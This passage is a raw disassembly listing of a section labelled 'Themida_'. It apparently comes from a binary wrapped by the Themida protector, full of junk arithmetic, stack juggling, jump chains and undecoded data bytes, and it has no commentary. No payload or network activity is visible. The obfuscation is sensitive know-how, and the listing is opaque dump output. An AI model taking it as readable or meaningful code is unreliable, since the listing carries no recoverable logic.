		dd 4BB53FFh, 50000000h,	0C276E068h, 0E5E2E941h,	0BDE9FFFFh
		db 0E5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_55414F:				; CODE XREF: Themida_:00548527j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_554CD5
; ---------------------------------------------------------------------------
		dw 0C768h
		dd 6800007Dh, 41B0h, 4EC81h, 8F540000h,	0FAE92404h, 89FFFEE5h
		dd 0E2892414h, 4C281h, 0B9E90000h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554187:				; CODE XREF: Themida_:00557873j
		add	ecx, 4
		add	ecx, 4
		push	ecx
		jmp	loc_544655
; ---------------------------------------------------------------------------


loc_554196:				; CODE XREF: Themida_:00549B1Bj
		sub	ebx, 30097D52h
		pop	eax
		and	ebx, 349A7A9Fh
		shl	ebx, 4
		shl	ebx, 3
		jmp	loc_54F368
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 1C5833B5h, 0FF4E70E9h, 0B0E958FFh, 0C1FFFEFDh, 0CF8106EFh
		dd 7DC77950h, 15E9EFD1h, 81FFFF30h, 80627F3h, 0DE895632h
		dd 8B5EF189h, 0C483241Ch, 0EAF7E904h, 431FFFEh,	1DE99C24h
		dd 0BDFFFEE5h, 23EB5443h, 1ED81h, 0C5810000h, 4002F83Dh
		dd 0BC2F9C05h, 15EBE905h, 0A4BEFFFFh, 81C55EB1h, 5B2F5AC7h
		dd 0E9F70170h, 18A1h, 0DF5EF281h, 0BD55D452h, 0E7108B1h
		dd 815DEF01h, 0A5379FEFh, 81D70102h, 0A5379FC7h, 0B1EF8102h
		dd 5A0E7108h, 5C243C87h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_551E52
; ---------------------------------------------------------------------------
		dw 0FF52h
		dd 5A042474h, 5C24048Fh, 240CD366h, 0E4A6E99Ch,	815AFFFEh
		dd 0B56710C7h, 31C7810Eh, 812FCB39h, 0E82B87EFh, 39FFE913h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55427E:				; CODE XREF: Themida_:0054D4F6j
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_54F8D2
; ---------------------------------------------------------------------------
		dw 565Fh
		dd 42474FFh, 24048F5Eh,	0FFF775E9h, 4EC83FFh, 88240C89h
		dd 59EB88C5h, 4EC81h, 4890000h,	0DE885224h, 0DCE9F088h
		dd 83FFFF3Ah, 685104C4h, 40CAh,	0E9242489h, 0FFFF4904h
		dd 5D88FEBDh, 8BE931E3h, 0C481242Ch, 4,	44E9CF29h, 89FFFF89h
		dd 1DE92404h, 68FFFEE4h, 3CE1h,	8B240C89h, 0EC812404h
		dd 4, 89241C89h, 2BB951E3h, 810AD844h, 964F82E1h, 0FE18168h
		dd 0C1123A63h, 0B4E906E1h, 59FFFFD0h, 875AD101h, 2E9240Ch
		dd 8BFFFEE4h, 0C4832404h, 66D03004h, 0E9C3305Ah, 0FFFFB224h
		dd 2F44BE56h, 0F6814EF4h, 19794E0Fh, 57F0C681h,	0EDE97049h
		dd 0C0FFFF44h, 0C7FE06EFh, 3EFC68h, 24048900h, 63E959B4h
		db 0Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554367:				; CODE XREF: Themida_:00556F07j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	bh, dh
		mov	edx, [esp]
		jmp	loc_5465E0
; ---------------------------------------------------------------------------
		db 1, 0D5h, 5Ah
aIlS		db 9,'ë‹,$é',0
		db 6Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55438E:				; CODE XREF: Themida_:005451C3j
		add	ebp, 7CE148B5h
		jmp	loc_545CB3
; ---------------------------------------------------------------------------
aSrFnHs5	db 'SRºfN',8,'Hé5"',0
		dd 24048B00h, 30BBE9h, 55F48000h, 5866E700h, 0C008EFC0h
		dd 0EF8002EFh, 29C2E9A2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5543C2:				; CODE XREF: Themida_:0055406Bj
		and	esi, 4A434056h
		not	esi
		or	esi, 57AF441Ah
		shl	esi, 1
		push	esi
		not	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_554B9F
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 24804612h, 348BF289h, 1903E924h, 4870000h, 0C5815C24h
		dd 4, 8704C583h, 248B242Ch, 66C33124h, 0FAE930FFh, 66FFFFBBh
		dd 0E9240489h, 0FFFEE68Bh, 2434335Dh, 0E9243431h, 0FFFF3B07h
		dd 8B240433h, 1C892424h, 2BB24h, 0EE810000h, 3CD82758h
		dd 0B850DE01h, 70A2309Ch, 66234335h, 0EC872D73h, 3EE9C6EBh
		dd 52FFFFA8h, 0C281E289h, 4, 33EDBF57h,	0F78140FDh, 40FD33E9h
		dd 0FFE4FBE9h, 0BA525AFFh, 3E9D4B57h, 5DBFB850h, 0C22176EBh
		dd 0BBC28158h, 11B89BAh, 24148BD6h, 4C481h, 0F7960000h
		dd 0D3E956D0h
		db 2Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55448F:				; CODE XREF: Themida_:0054FA28j
		push	ebx
		mov	ebx, 2F550AAh
		not	ebx
		xchg	ecx, ebx
		add	ecx, 0FFFFFFFFh
		push	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_553918
; ---------------------------------------------------------------------------
		dw 0EE80h
		dd 0E9F30079h, 0FFFFF52Ah, 48B5A50h, 4C48124h, 1000000h
		dd 24148BD6h, 55E38953h, 4BDh, 5DEB0100h, 0B4B85057h, 52536C41h
		dd 0C36257BAh, 3E2C105h, 42DAF74Ah, 0AB9AEA81h,	0D0317E78h
		dd 8BC7895Ah, 0C5E92404h
		db 37h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5544F7:				; CODE XREF: Themida_:00542B9Fj
		sub	ecx, 13F620FAh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_553063
; ---------------------------------------------------------------------------


loc_55450B:				; CODE XREF: Themida_:00551DDEj
		pop	esp
		push	ebx
		mov	ebx, esp
		jmp	loc_55114D
; ---------------------------------------------------------------------------
		dd 0C102EAC1h, 0C3E904EAh, 51FFFEF7h, 2360BBB9h, 59CB010Ch
		dd 3FB1EB81h, 515A245Ch, 0D265C7B9h, 0C1E9815Bh, 2922EE4Fh
		dd 0DD0159CDh, 1606C581h, 1C8B38E4h, 0E3895324h, 4C381h
		dd 0C3830000h, 241C8704h, 242C875Ch, 0FF24248Bh, 48B2434h
		dd 14F6824h, 0F2E90000h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_55456F:				; CODE XREF: Themida_:0054522Cj
		pop	ebx
		add	ebp, eax
		add	ebp, 157549BCh
		push	edx
		mov	edx, 4B98000Fh
		jmp	loc_54F4E5
; ---------------------------------------------------------------------------


loc_554583:				; CODE XREF: Themida_:0054CD7Fj
		sub	eax, 2
		xchg	eax, [esp]
		pop	esp
		jmp	loc_548E76
; ---------------------------------------------------------------------------
		db 35h
		dd 5C035784h, 0A576450Dh, 0B211E902h, 0E7C1FFFFh, 84684F08h
		dd 89000057h, 0CFB82404h, 31009624h, 0FA3158C7h, 57243C8Bh
		dd 0C781E789h, 4, 8704C783h, 96E9243Ch,	66FFFFC9h, 0E927CB68h
		dd 2CCEh, 4C481h, 0EC810000h, 2, 241C8966h, 86CFB050h
		dd 0E9D3F6D8h, 0FFFF19E7h, 0E958C601h, 0FFFF91F4h, 40E95153h
		dd 35000033h, 25F877E2h, 0D9E95351h, 89FFFFC2h,	54015DEAh
		dd 148B0424h, 4C48124h,	8F000000h, 4832404h, 34FF0424h
		dd 89515A24h, 4C181E1h,	81000000h, 4C1h, 240C8700h, 4BD555Ch
		dd 1000000h, 6D685DEAh,	0E9000061h, 0FFFFB68Eh
; ---------------------------------------------------------------------------


loc_55464C:				; CODE XREF: Themida_:005571E2j
		push	esi
		push	ebx
		jmp	loc_5440B2
; ---------------------------------------------------------------------------
		db 51h
		dd 4A1663B9h, 59C82910h, 1B6CE9h, 24048900h, 1729E9h, 6B453500h
		dd 1AE96DBEh, 0F7FFFEFFh, 0E95655DFh, 0FFFF5444h
; ---------------------------------------------------------------------------


loc_55467C:				; CODE XREF: Themida_:00547475j
		mov	edx, esp
		jmp	loc_55251E
; ---------------------------------------------------------------------------
		db 0ADh
		dd 57E3BB53h, 13E9117Eh
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55468F:				; CODE XREF: Themida_:0054AB53j
		or	ecx, 1716347Bh
		jmp	loc_54E592
; ---------------------------------------------------------------------------
		dw 0EFB9h
		dd 0BD173313h, 3F152C2Dh, 0FFBAE5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5546A9:				; CODE XREF: Themida_:005478E1j
		mov	ecx, [esp]
		jmp	loc_5557F6
; ---------------------------------------------------------------------------


loc_5546B1:				; CODE XREF: Themida_:0054EFF5j
		sub	esi, 377B2CDAh
		sub	esi, 46397C7Eh
		mov	edx, [esp]
		add	esp, 4
		add	esi, 4
		jmp	loc_5434CF
; ---------------------------------------------------------------------------


loc_5546CB:				; CODE XREF: Themida_:00544E28j
		mov	ebp, 5F0513A1h
		sub	ebp, 3F1B9C01h
		jmp	loc_5495E0
; ---------------------------------------------------------------------------
		db 89h
		dd 405E0h, 0E8830000h, 8F55E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5546EA:				; CODE XREF: Themida_:00552AD0j
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_543F3E
; ---------------------------------------------------------------------------
		dw 0F580h
		dd 0FC05E997h, 0F581FFFEh, 40A433C5h, 0B9515245h, 0CEA45BDBh
		dd 0FF84F9E9h, 0B8505FFFh, 51DE385Fh, 0C225E0D1h, 81681C23h
		dd 4ECh, 242C8900h, 0FF4798E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554731:				; CODE XREF: Themida_:00546E53j
		mov	[esp], edx
		mov	edx, ecx
		mov	eax, edx
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_551802
; ---------------------------------------------------------------------------


loc_55476C:				; CODE XREF: Themida_:00542C77j
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	702h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_54B3BF
; ---------------------------------------------------------------------------
		dd 0E950EAD1h, 0FFFFC1CCh, 0C380B5B3h, 42186801h, 4890000h
		dd 4EAEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5547A2:				; CODE XREF: Themida_:0054FC1Cj
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 4
		jmp	loc_544E2D
; ---------------------------------------------------------------------------
		db 5Fh,	29h, 0D1h
		dd 240C875Ah, 8924248Bh, 0E682434h, 89000030h, 4832424h
		dd 34FF0424h, 0C4815E24h, 4, 1E1D68h, 240C8900h, 0FF37A8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5547E9:				; CODE XREF: Themida_:00552996j
		pop	ecx
		push	ecx
		mov	ecx, 7C5557A4h
		add	[esp+8], ecx
		pop	ecx
		jmp	loc_544BF9
; ---------------------------------------------------------------------------


loc_5547FA:				; CODE XREF: Themida_:0054A11Ej
		pop	esp
		add	esp, 4
		popa
		jmp	loc_545439
; ---------------------------------------------------------------------------
		db 66h
		dd 66240433h, 66240431h, 5066D0F7h, 2474FF66h, 0E9586602h
		dd 0FFFF0640h
; ---------------------------------------------------------------------------


loc_554820:				; CODE XREF: Themida_:00550E3Fj
		add	ebp, eax
		pop	eax
		pop	eax
		sub	ebp, 4
		push	ebp
		jmp	loc_54C0DB
; ---------------------------------------------------------------------------


loc_55482D:				; CODE XREF: Themida_:005478A1j
		add	ebp, 19908C4h
		add	ebx, ebp
		jmp	loc_549B18
; ---------------------------------------------------------------------------
		dw 4BBh
		dd 1000000h, 54AE9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554846:				; CODE XREF: Themida_:00557AE4j
		push	edi
		mov	edi, 4
		jmp	loc_5481DA
; ---------------------------------------------------------------------------


loc_554851:				; CODE XREF: Themida_:0055799Ej
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_551B9E
; ---------------------------------------------------------------------------
		dd 4BD55h, 0EA010000h, 81242C8Bh, 4C4h,	0EBF5700h, 0E975D670h
		dd 0FFFF4557h
; ---------------------------------------------------------------------------


loc_55487C:				; CODE XREF: Themida_:00545414j
		sub	ebx, 666F6890h
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	ebx
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, [esp]
		push	ebx
		jmp	loc_54589D
; ---------------------------------------------------------------------------
		dd 4C481h, 0CE280000h, 241C8B59h, 8904EC83h, 0E0892404h
		dd 405h, 4C08300h, 0EA62E950h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5548BE:				; CODE XREF: Themida_:005492F7j
		push	ebx
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		push	esi
		jmp	loc_54F9A7
; ---------------------------------------------------------------------------


loc_5548D4:				; CODE XREF: Themida_:00545660j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54A640
; ---------------------------------------------------------------------------
aIHJ		db '‰ÁhÝJ',0
		align 4
		dd 0FFD4A9E9h, 81E289FFh, 4C2h,	4BF5700h, 0E9000000h, 0FFFF8CA3h
		dd 241C8758h, 0FF04B5E9h, 0E28952FFh, 0FFE1E1E9h, 5AD089FFh
		dd 1C078D0Dh, 0C1D8F766h, 0C83503E0h, 5660460h,	7EBE2C39h
		dd 72ED1305h, 3749E9DEh, 0EFC1FFFFh, 62406807h,	14890000h
		dd 534FBA24h, 39E96999h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554947:				; CODE XREF: Themida_:0054F8DAj
		sub	edx, 34FE5E9Ch
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_545A47
; ---------------------------------------------------------------------------


loc_554961:				; CODE XREF: Themida_:00546F22j
		add	edi, eax
		sub	edi, 22977386h
		jmp	loc_555057
; ---------------------------------------------------------------------------


loc_55496E:				; CODE XREF: Themida_:005429AAj
		add	esp, 4
		sub	ebx, 0FFFFFFFFh
		jmp	loc_553236
; ---------------------------------------------------------------------------
		dd 0F77A112Dh, 0E9C82916h, 0FFFEF4F6h, 63C06866h, 0FF4839E9h
		dd 0F2E952FFh, 51FFFEEDh, 0DAB3F5B5h, 0FEE19CE9h, 2E7C1FFh
		dd 6E94747h, 87FFFF9Ch,	248B2404h, 4C78124h, 87000000h
		dd 54E9243Ch, 89FFFFEBh, 0FE92414h, 0BAFFFFC7h,	14D2605Dh
		dd 0AC76E94Ah, 0C583FFFFh, 242C8704h, 0E924248Bh, 0FFFEDD2Ch
		dd 2EE9C131h, 8BFFFF6Eh, 0C8842424h, 0DD1AE99Ch, 0EE81FFFEh
		dd 16E505Ah, 0FF1F0FE9h, 2434FFFFh, 8324048Bh, 0C16804C4h
		dd 8900005Fh, 0D368240Ch, 89000070h, 4812424h, 424h, 84E95900h
		dd 0FFFFFF0Fh, 81592434h, 4ECh,	242C8900h, 2434FF54h, 0CBE9575Dh
		dd 81FFFF20h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 33B22414h
		dd 0D06AEA80h, 7EAC0E2h, 5166C2FEh, 0B450C5B5h,	0F6DCF659h
		dd 7912E9DCh, 1C89FFFFh, 0C14CE924h, 0DDF6FFFFh, 5207EDC0h
		dd 0F280A2B2h, 0D3885322h, 0DA88D3F6h, 0BEC2805Bh, 0E95AD530h
		dd 0FFFF5991h
; ---------------------------------------------------------------------------


loc_554A90:				; CODE XREF: Themida_:00551EE2j
		push	ebx
		mov	ebx, 601067FCh
		mov	edx, ebx
		pop	ebx
		xor	[esp+4], edx
		jmp	loc_544F7A
; ---------------------------------------------------------------------------


loc_554AA2:				; CODE XREF: Themida_:00550F2Ej
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_54FBDF
; ---------------------------------------------------------------------------
		dd 0C8BCE01h, 4C48324h,	4C681h,	0FF560000h, 5E042474h
		dd 0E924048Fh, 0FFFFF65Ch, 4C0835Eh, 8B240487h,	2C8B2424h
		dd 4C48124h, 53000000h,	2BBh, 5BDA0100h, 4BD068h, 24148900h
		dd 42474FFh, 24048F5Ah,	6824248Bh, 788Ah, 68241C89h, 77C8h
		dd 68240489h, 305A61B2h, 0AA3BB58h, 0C30122B1h,	0CFCB8158h
		dd 0E963FD3Bh, 0FFFEEB3Dh, 48BC209h, 4C48324h, 66EEB850h
		dd 0FE051884h, 2552E779h, 5C2A412Ch, 0FFB037E9h, 24248BFFh
		dd 582434FFh, 0FF562BE9h, 57515DFFh, 68727CBFh,	564DB927h
		dd 0E9548Fh, 51FFFF76h,	0A436FEB9h, 59CB014Bh, 8124048Bh
		dd 4C4h, 0E7895700h, 4C781h, 7AE90000h,	57FFFF91h, 0AA527EBFh
		dd 7AEF8153h, 153AA52h,	0BB535FF8h, 3E866C20h, 3CE0B850h
		dd 5AE9652Dh
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554B9F:				; CODE XREF: Themida_:005543D9j
		add	esp, 4
		xor	esi, 80008Dh
		add	ebp, esi
		pop	esi
		push	eax
		mov	eax, 67DA2C5Ah
		add	eax, 16F02097h
		push	ebx
		mov	ebx, 203453D4h
		jmp	loc_552E97
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 0BCh
		db 4Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554BC7:				; CODE XREF: Themida_:0054777Fj
		xor	ebp, edx
		xor	edx, ebp
		jmp	loc_555BD0
; ---------------------------------------------------------------------------
		dd 495E4EBAh, 4EAC102h,	0D6DC281h, 0BD5511BBh, 11DFA355h
		dd 15DEA31h, 89515AD6h,	4C181E1h, 50000000h, 4B8h, 0E9C12900h
		dd 18E8h, 456AC581h, 0BA527A84h, 4A2EABh, 0F706E2C1h, 0C28142D2h
		dd 1F70D23Fh, 0FFF764E9h, 24248BFFh, 0FEDAE7E9h, 2434FFFFh
		dd 0F849E95Bh, 0EE81FFFEh, 4091184Eh, 4100B850h, 0C32908CCh
		dd 7301E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554C42:				; CODE XREF: Themida_:0055503Bj
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_544F5F
; ---------------------------------------------------------------------------
		db 4, 0B9h, 2Ch
		dd 2434FFC2h, 0E789575Bh, 4C781h, 0B7E90000h, 81FFFF2Eh
		dd 0BA36E2EAh, 4EE95923h, 50FFFFA6h, 451A1CB8h,	35CF054Bh
		dd 0C301023Eh, 24148B58h, 0FF21A0E9h, 538304FFh, 0E7D06AB7h
		dd 4A3C780h, 2CF8002Ch,	89505B2Ch, 0BC8CE9E0h, 0BA52FFFFh
		dd 66F75F62h, 0C7EBE56h, 0F52959DCh, 0E9D5295Eh, 0FFFF8FE6h
		dd 4C581h, 69E90000h, 81FFFFACh, 0E4E887F6h, 1E79053Eh
		dd 0F00118C7h, 0FF8E8EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554CD5:				; CODE XREF: Themida_:00554159j
		push	48FDh
		mov	[esp], edx
		push	esi
		push	ebx
		push	eax
		mov	eax, 659B3E5Ah
		not	eax
		inc	eax
		and	eax, 457A36FCh
		or	eax, 37B639DAh
		push	ecx
		mov	ecx, 416B3F59h
		sub	eax, ecx
		pop	ecx
		xor	eax, 0FCAC88B9h
		jmp	loc_5570F2
; ---------------------------------------------------------------------------


loc_554D05:				; CODE XREF: Themida_:005443D6j
		add	esp, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5558DF
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 0DEE34065h, 0FFC17DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554D25:				; CODE XREF: Themida_:005435CEj
		pop	esp
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		jmp	loc_544C64
; ---------------------------------------------------------------------------


loc_554D37:				; CODE XREF: Themida_:0054B5DFj
		mov	[esp], eax
		jmp	loc_54E54A
; ---------------------------------------------------------------------------


loc_554D3F:				; CODE XREF: Themida_:0054B50Cj
		pop	ebx
		jmp	loc_54D4AC
; ---------------------------------------------------------------------------
		db 58h,	83h, 0ECh
		dd 242C8904h, 551524BDh, 44BE5646h, 0E962A25Ah,	0FFFF6C73h
		dd 83241C8Bh, 7EE904C4h, 0C1FFFF21h, 0EFC107EFh, 0D8F78102h
		dd 816D2828h, 0B82626F7h, 5FFE293Fh, 7464BF57h,	0ADE900E7h
		dd 5E000027h, 26E9F001h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554D8F:				; CODE XREF: Themida_:0054937Bj
		mov	eax, 1CC0363Ch
		push	esi
		mov	esi, 607A0C7Ch
		sub	esi, 5984B982h
		or	eax, esi
		jmp	loc_557908
; ---------------------------------------------------------------------------


loc_554DA7:				; CODE XREF: Themida_:00555EBEj
		mov	dl, 0E8h
		neg	dl
		jmp	loc_54D2C4
; ---------------------------------------------------------------------------
		dd 0E089505Ch, 700E68h,	24148900h, 4BAh, 750E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554DC6:				; CODE XREF: Themida_:0054F843j
		push	128Dh
		mov	[esp], ecx
		push	edx
		jmp	loc_54C76A
; ---------------------------------------------------------------------------
		dd 31241433h, 14332414h, 0B0505C24h, 0E9C0FEF2h, 0FFFFB182h
		dd 8159CF89h, 0DC0CFEEBh, 50C38174h, 814C315Eh,	0CE5A61C3h
		dd 72B2E961h, 5155FFFFh, 3D5159B9h, 2AF7BD01h, 83E90179h
		dd 81FFFFB4h, 0F03C81EEh, 24048B15h, 4C481h, 0ED810000h
		dd 7B3D1C7Eh, 0C581F529h, 7B3D1C7Eh, 0E924348Bh, 0FFFF294Ch
		dd 4D6496BEh, 5EEC165h,	73FBBF57h, 814F221Ch, 45587DF7h
		dd 7EFC11Ah, 36BE564Fh,	8111597Eh, 2930D1E6h, 9AF68165h
		dd 5306A119h, 0C84D5BBBh, 3CEB8130h, 0E938E129h, 0FFFEF6F4h
		dd 9D1C77FFh, 1CD35966h, 89E99C24h, 81FFFED8h, 5E0A29C6h
		dd 88685931h, 8900003Ah, 2BB241Ch, 57000000h, 65225BFh
		dd 0E4C8E91Dh, 0C381FFFFh, 216CBBFh, 8172942Dh,	5D82924h
		dd 24817294h, 0B1BE565Bh, 0C1364259h, 0EEC105EEh, 0FBF68105h
		dd 813ABB1Fh, 61771EF6h, 0FDF1E90Dh, 0EC83FFFFh, 24248904h
		dd 0E1685251h, 5A73330Ah, 0FEEC5CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554EE5:				; CODE XREF: Themida_:0054E91Dj
		or	esi, 73EA1FD8h
		add	esi, 21F06E78h
		mov	eax, esi
		pop	esi
		dec	eax
		sub	eax, 8BD28A9h
		shl	eax, 8
		inc	eax
		xor	eax, 0D39B752h
		push	esi
		mov	esi, eax
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		xor	ecx, 5DF76616h
		shr	ecx, 2
		push	eax
		mov	eax, 3A5227AEh
		jmp	loc_547393
; ---------------------------------------------------------------------------
		db 0F7h
		dd 6E952D3h, 81FFFEE1h,	253717C1h, 81C10100h, 253717E9h
		dd 6B85000h, 292BBD13h,	815858C1h, 0EA5F0C1h, 0C381BFh
		dd 1083656h, 0EB81CBh, 0E9083656h, 0FFFF6DF0h, 60A768h
		dd 24048900h, 0FF59C9E9h, 62B3B9FFh, 4AE958B9h,	33FFFEEEh
		dd 0BEE9241Ch, 1FFFFFBh, 57C52DD0h, 148B1929h, 63DAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554F92:				; CODE XREF: Themida_:0054C4BEj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_552CFB
; ---------------------------------------------------------------------------
		db 87h
		dd 4BD3F7F3h, 1E4CF381h, 0D82935E9h
		db 5Bh,	59h, 53h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 76E4321Eh
		or	esi, 1D14755Dh
		jmp	loc_54E8F2
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 24048B66h, 50E18951h, 0D41BBB8h, 3605E95Fh, 248BFFFFh
		dd 4C6DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554FF2:				; CODE XREF: Themida_:00556F47j
		sub	esp, 4
		jmp	loc_54D05F
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0D1h
		dd 29663830h, 0D1BA52E9h, 29663830h, 875D5AD1h,	248B240Ch
		dd 241C8924h, 11E95351h, 0FF000028h, 0E9042474h, 0FFFF16E3h
; ---------------------------------------------------------------------------


loc_555028:				; CODE XREF: Themida_:00544FBEj
		pop	edi
		add	eax, 691A67B1h
		add	eax, ecx
		sub	eax, 691A67B1h
		pop	ecx
		add	eax, 4
		jmp	loc_554C42
; ---------------------------------------------------------------------------
		dd 2C2EE281h, 0B7E926B6h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55504B:				; CODE XREF: Themida_:005525C3j
		mov	ecx, 6CE8768Dh
		xor	ecx, ebp
		jmp	loc_5532C9
; ---------------------------------------------------------------------------


loc_555057:				; CODE XREF: Themida_:00554969j
		pop	eax
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_552AAE
; ---------------------------------------------------------------------------


loc_55506C:				; CODE XREF: Themida_:00545F95j
		mov	[esp], ebx
		mov	ebx, 30131E8Ch
		jmp	loc_5470BD
; ---------------------------------------------------------------------------


loc_555079:				; CODE XREF: Themida_:0054485Cj
		add	esi, 1410B030h
		or	edi, esi
		pop	esi
		add	edi, 0A200B81Dh
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		jmp	loc_5571D6
; ---------------------------------------------------------------------------
		db 81h
		dd 0DC5ABBC6h, 34875A6Fh, 0C7815C24h, 74112C7h,	6C17E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5550AA:				; CODE XREF: Themida_:00544882j
		push	esi
		push	esp
		pop	esi
		jmp	loc_5458AA
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24348904h, 0FF4536E9h, 2434FFFFh, 0E272E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5550C6:				; CODE XREF: Themida_:00543134j
		pop	ecx
		jmp	loc_54F6F4
; ---------------------------------------------------------------------------


loc_5550CC:				; CODE XREF: Themida_:005514DCj
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		jmp	loc_545B62
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8704C483h, 248B240Ch, 24148924h, 11E99C50h, 81FFFED6h
		dd 0CAB8B6EFh, 9A8FE9B7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555106:				; CODE XREF: Themida_:0054B7DAj
		add	ebp, 0AE0DD205h
		add	esi, ebp
		jmp	loc_544E8E
; ---------------------------------------------------------------------------


loc_555113:				; CODE XREF: Themida_:0054CDE6j
		dec	eax
		jmp	loc_55798D
; ---------------------------------------------------------------------------


loc_555119:				; CODE XREF: Themida_:0054F7D5j
		add	edi, eax
		pop	eax
		add	ebx, 7CDC27A1h
		add	ebx, edi
		sub	ebx, 7CDC27A1h
		mov	edi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_54AC5F
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 0E9h
		dd 0FFFF17DAh, 240C8B66h, 4EC8153h, 54000000h, 5624048Fh
		dd 1C2CBA52h, 0EAC10FB2h, 94C28106h, 89FFC137h,	4EE95AD6h
		dd 80FFFFC3h, 0F320CAC6h, 8124148Bh, 4C4h, 72F38000h, 0CC9FE951h
		dd 0EE01FFFFh, 0FF8AEFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555185:				; CODE XREF: Themida_:005501C8j
		or	edi, edx
		jmp	loc_546705
; ---------------------------------------------------------------------------
		dd 5624048Bh, 0E950E689h, 0FFFF7DB6h
; ---------------------------------------------------------------------------


loc_555198:				; CODE XREF: Themida_:0054360Fj
		pop	dword ptr [esp]
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		sub	esp, 4
		jmp	loc_5494A4
; ---------------------------------------------------------------------------


loc_5551A9:				; CODE XREF: Themida_:0054E429j
		push	dword ptr [esp]
		pop	eax
		push	4D29h
		mov	[esp], edi
		push	esp
		pop	edi
		push	1175h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], eax
